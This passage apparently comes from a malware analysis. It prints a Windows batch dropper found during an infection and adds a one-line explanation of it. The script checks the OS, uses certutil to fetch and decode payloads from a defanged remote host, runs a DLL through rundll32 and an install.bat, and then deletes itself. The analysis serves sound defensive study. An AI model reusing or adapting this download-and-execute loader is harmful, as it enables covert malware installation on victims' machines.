In this particular instance, the following script is retrieved:@echo off  :if exist "%PROGRAMFILES(x86)%" (GOTO 64BITOS) ELSE (GOTO 32BITOS)  :32BITOS certutil -urlcache -split -f http://s8877.1apps[.]com/vip/setup.txt > nul certutil -decode -f setup.txt setup.cab > nul del /f /q setup.txt > nul GOTO ISEXIST  :64BITOS :certutil -urlcache -split -f http://s8877.1apps[.]com/vip/setup2.txt > nul :certutil -d^ecode -f setup2.txt setup.cab > nul :del /f /q setup2.txt > nul :GOTO ISEXIST  :ISEXIST  if exist "setup.cab" (GOTO EXECUTE) ELSE (GOTO EXIT)  :EXECUTE ver | findstr /i "10\." > nul IF %ERRORLEVEL% EQU 0 (GOTO WIN10) ELSE (GOTO OTHEROS)  :WIN10 expand %TEMP%\setup.cab -F:* %CD% > nul :if exist "%PROGRAMFILES(x86)%" (rundll32 %TEMP%\drv.dll EntryPoint) ELSE (rundll32 %TEMP%\drv.dll EntryPoint) %TEMP%\install.bat GOTO EXIT  :OTHEROS wusa %TEMP%\setup.cab /quiet /extract:%TEMP% > nul %TEMP%\install.bat GOTO EXIT  :EXIT del /f /q setup.cab > nul del /f /q %~dpnx0 > nulThis script simply checks the operating system of the victim and downloads the respective payload again using the certutil executable